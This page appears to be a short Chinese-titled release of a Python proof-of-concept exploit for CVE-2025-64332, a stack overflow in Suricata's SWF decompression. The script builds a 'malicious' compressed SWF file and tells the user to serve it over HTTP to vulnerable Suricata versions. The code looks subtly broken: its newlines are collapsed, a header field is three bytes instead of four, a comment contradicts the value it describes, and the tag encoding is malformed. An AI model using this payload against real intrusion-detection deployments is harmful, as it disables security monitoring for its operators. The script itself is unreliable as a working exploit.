CVE-2025-64332 Suricata SWF解压栈溢出漏洞

#!/usr/bin/env python3 # CVE-2025-64332 PoC - Suricata SWF Decompression Stack Overflow # Generate malicious SWF file to trigger stack overflow in SWF decompression import struct import os def create_malicious_swf(): """ Generate a malicious SWF file that can trigger stack overflow when decompressed by vulnerable Suricata versions. """ # SWF Header (minimum valid SWF) signature = b'CWS' # Compressed SWF version = 9 file_length = 0xFFFF # Large file length # Frame size (100x100) frame_size = struct.pack('<H', 0x5000) # 50 twips = 50/20 = 2.5 pixels # Frame rate and count frame_rate = struct.pack('<H', 0x001E) # 30 fps frame_count = struct.pack('<H', 1) # Build compressed data with excessive decompression depth # This triggers stack overflow in vulnerable versions malicious_data = b'\x00' * 0x10000 # Large block of data # Construct SWF body body = frame_size + frame_rate + frame_count body += b'\x43' # DoAction tag body += struct.pack('<I', len(malicious_data) + 1)[:3] body += malicious_data # Compress the body (Zlib) import zlib compressed = zlib.compress(body, level=9) # Build complete SWF swf = signature + bytes([version]) swf += struct.pack('<I', len(compressed) + 4)[1:] # File length swf += compressed return swf def main(): print("[*] Generating PoC for CVE-2025-64332") print("[*] Target: Suricata < 7.0.13 or < 8.0.2") print("[*] Vulnerability: Stack overflow in SWF decompression") swf_data = create_malicious_swf() output_file = "cve-2025-64332-poc.swf" with open(output_file, 'wb') as f: f.write(swf_data) print(f"[+] PoC SWF file generated: {output_file}") print(f"[+] File size: {len(swf_data)} bytes") print("[+] Usage: Serve this file via HTTP to trigger vulnerability") print("[+] Note: swf-decompression must be enabled in suricata.yaml") if __name__ == '__main__': main()